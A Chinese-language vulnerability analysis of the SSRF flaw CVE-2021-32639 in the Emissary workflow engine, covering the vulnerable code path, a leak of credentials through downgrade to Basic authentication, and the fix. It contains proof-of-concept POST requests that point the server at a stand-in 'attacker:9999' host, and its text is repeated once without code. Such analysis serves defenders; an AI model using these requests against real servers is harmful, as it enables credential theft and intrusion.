分析Emissary 的SSRF漏洞(CVE-2021-32639)
字数 1316 2025-08-05 08:19:38

Emissary SSRF漏洞分析(CVE-2021-32639) 技术文档

1. 漏洞概述

CVE-2021-32639是NSA项目Emissary中存在的一个服务器端请求伪造(SSRF)漏洞,影响RegisterPeerActionREST端点和AddChildDirectoryAction端点。攻击者可以利用此漏洞诱使服务器向攻击者控制的服务器发送请求,包括带有认证凭据的请求。

2. Emissary项目简介

Emissary是NSA开发的一个基于P2P的数据驱动工作流引擎,运行在异构的、可能广泛分散的、多层的P2P计算资源网络中。其特点包括:

  • 工作流不是预先计划的,而是随着数据信息的发现而动态确定
  • 通常没有用户交互,以面向目标的方式处理数据直到完成状态
  • 高度可配置,基本实现几乎不做任何操作
  • 用户需提供扩展emissary.place.ServiceProviderPlace的类来执行工作

工作流管理分为多个阶段:STUDY、ID、COORDINATE、TRANSFORM、ANALYZE、IO、REVIEW。

3. 漏洞细节

3.1 触发点1 - RegisterPeerAction端点

漏洞利用方式

POST /emissary/RegisterPeer.action? HTTP/1.1
Host: localhost:8001
Content-Type: application/x-www-form-urlencoded

directoryName=foo.bar.baz.http://attacker:9999/&targetDir=http://localhost:8001/DirectoryPlace

影响

  • 发送多个请求到攻击者控制的服务器
  • 部分请求未经认证(如Heartbeat.action)
  • 部分请求带有认证凭据(如RegisterPeer.action)

认证请求示例

POST /emissary/RegisterPeer.action HTTP/1.1
Content-Length: 196
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: attacker:9999
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.1 (Java/1.8.0_242)
Accept-Encoding: gzip,deflate

targetDir=http%3A%2F%2Fattacker%3A9999%2FDirectoryPlace&directoryName=EMISSARY_DIRECTORY_SERVICES.DIRECTORY.STUDY.http%3A%2F%2Flocalhost%3A8001%2FDirectoryPlace

3.2 触发点2 - AddChildDirectoryAction端点

漏洞利用方式

POST /emissary/AddChildDirectory.action HTTP/1.1
Host: localhost:8001
x-requested-by:
Content-Type: application/x-www-form-urlencoded

directoryName=foo.bar.baz.http://attacker:9999/&targetDir=http://localhost:8001/DirectoryPlace

4. 漏洞分析

4.1 代码路径分析

  1. RegisterPeerAction端点处理
@POST
@Path("/RegisterPeer.action")
@Consumes(MediaType.APPLICATION_FORM_URLENCODED)
@Produces(MediaType.APPLICATION_XML)
public Response registerPeerPost(@FormParam(DIRECTORY_NAME) String directoryName, 
                               @FormParam(TARGET_DIRECTORY) String targetDirectory) {
    if (StringUtils.isBlank(directoryName) || StringUtils.isBlank(targetDirectory)) {
        return Response.serverError()
                .entity("Bad Params: " + DIRECTORY_NAME + " - " + directoryName + ", " + TARGET_DIRECTORY + " - " + targetDirectory).build();
    }
    return processRegisterPeer(directoryName, targetDirectory);
}
  1. processRegisterPeer方法
private Response processRegisterPeer(String peerKey, String dirName) {
    final IRemoteDirectory dir = new IRemoteDirectory.Lookup().getLocalDirectory(dirName);
    // ...
}
  1. getLocalDirectory方法
public IRemoteDirectory getLocalDirectory(final String name) {
    IDirectoryPlace dir = null;
    try {
        if (name != null) {
            dir = (IDirectoryPlace) Namespace.lookup(name);
        } else {
            dir = DirectoryPlace.lookup();
        }
    } catch (emissary.core.EmissaryException ex) {
        this.logger.debug("Could not find local directory " + name);
    }
    // ...
}

关键点:Namespace.lookup(name)会解析并请求传入的URL,导致SSRF漏洞。

4.2 认证凭据泄露机制

Emissary使用Apache HTTP客户端发送请求,其认证机制存在以下问题:

  1. 凭据从Jetty"用户领域"(user realm)读取
  2. 存储在凭据提供者(CRED_PROV)中
  3. 默认配置未指定认证方案,由服务器response决定

攻击者可构造恶意服务器要求"基本认证"(Basic Authentication),导致凭据以Base64编码形式泄露。

相关代码:

// 凭据设置代码
CredentialsProvider CRED_PROV = new BasicCredentialsProvider();
// ...
CLIENT = HttpClientBuilder.create().setDefaultCredentialsProvider(CRED_PROV).build();

5. 漏洞修复

NSA采取了以下修复措施:

  1. 修复SSRF问题,防止任意URL请求
  2. 强制使用"摘要认证"(Digest Authentication)方案,防止认证方法混淆
    • 防止切换至基本认证导致凭据泄露
    • 修复提交:https://github.com/NationalSecurityAgency/emissary/commit/79ca5608c4f77d9a5c8a4996e204377c158a6976

6. 总结

CVE-2021-32639展示了SSRF漏洞的多种潜在危害:

  1. 内部网络探测
  2. 服务端请求伪造
  3. 认证凭据泄露
  4. 认证方案降级攻击

该案例特别强调了SSRF漏洞在特定认证机制下的额外风险,以及强制使用安全认证方案的重要性。

Emissary SSRF漏洞分析(CVE-2021-32639) 技术文档 1. 漏洞概述 CVE-2021-32639是NSA项目Emissary中存在的一个服务器端请求伪造(SSRF)漏洞,影响RegisterPeerActionREST端点和AddChildDirectoryAction端点。攻击者可以利用此漏洞诱使服务器向攻击者控制的服务器发送请求,包括带有认证凭据的请求。 2. Emissary项目简介 Emissary是NSA开发的一个基于P2P的数据驱动工作流引擎,运行在异构的、可能广泛分散的、多层的P2P计算资源网络中。其特点包括: 工作流不是预先计划的,而是随着数据信息的发现而动态确定 通常没有用户交互,以面向目标的方式处理数据直到完成状态 高度可配置,基本实现几乎不做任何操作 用户需提供扩展 emissary.place.ServiceProviderPlace 的类来执行工作 工作流管理分为多个阶段:STUDY、ID、COORDINATE、TRANSFORM、ANALYZE、IO、REVIEW。 3. 漏洞细节 3.1 触发点1 - RegisterPeerAction端点 漏洞利用方式 : 影响 : 发送多个请求到攻击者控制的服务器 部分请求未经认证(如Heartbeat.action) 部分请求带有认证凭据(如RegisterPeer.action) 认证请求示例 : 3.2 触发点2 - AddChildDirectoryAction端点 漏洞利用方式 : 4. 漏洞分析 4.1 代码路径分析 RegisterPeerAction端点处理 : processRegisterPeer方法 : getLocalDirectory方法 : 关键点: Namespace.lookup(name) 会解析并请求传入的URL,导致SSRF漏洞。 4.2 认证凭据泄露机制 Emissary使用Apache HTTP客户端发送请求,其认证机制存在以下问题: 凭据从Jetty"用户领域"(user realm)读取 存储在凭据提供者(CRED_ PROV)中 默认配置未指定认证方案,由服务器response决定 攻击者可构造恶意服务器要求"基本认证"(Basic Authentication),导致凭据以Base64编码形式泄露。 相关代码: 5. 漏洞修复 NSA采取了以下修复措施: 修复SSRF问题,防止任意URL请求 强制使用"摘要认证"(Digest Authentication)方案,防止认证方法混淆 防止切换至基本认证导致凭据泄露 修复提交:https://github.com/NationalSecurityAgency/emissary/commit/79ca5608c4f77d9a5c8a4996e204377c158a6976 6. 总结 CVE-2021-32639展示了SSRF漏洞的多种潜在危害: 内部网络探测 服务端请求伪造 认证凭据泄露 认证方案降级攻击 该案例特别强调了SSRF漏洞在特定认证机制下的额外风险,以及强制使用安全认证方案的重要性。